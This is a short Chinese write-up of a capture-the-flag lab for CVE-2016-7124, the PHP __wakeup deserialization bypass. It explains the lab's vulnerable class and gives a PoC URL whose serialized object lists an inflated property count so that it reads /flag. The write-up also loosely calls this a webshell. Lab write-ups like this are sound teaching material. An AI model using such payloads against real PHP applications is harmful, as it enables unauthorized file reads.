春秋云境CVE-2016-7124

1.阅读靶场信息

这里我们可以得到的信息就是序列化

沿着这个方向我们开启靶场吧

2.开启靶场

靶场如上图所示

代码功能分析

1. 第一行 ：highlight_file("/var/www/html/index.php") - 显示当前文件的源代码

2. xiaorang类：

   • 有一个公共属性 $file

   • __destruct()：对象销毁时执行，读取并输出 $file 指定的文件

   • __wakeup()：反序列化时自动执行，将 $file 强制设为 /var/www/html/index.php

3. 最后部分：

   • 检查GET参数 file 是否存在

   • 如果存在，直接对 file 参数值进行反序列化

3.poc利用

这里博主用的url就是

https://eci-2ze12sufspgrpapt2i5d.cloudeci1.ichunqiu.com:80/?file=O:8:%22xiaorang%22:2:{s:4:%22file%22;s:5:%22/flag%22;}

各位彦祖们可以参考参考

到这里相信各位彦祖们已经成功webshell了

希望大家喜欢，感谢你的观看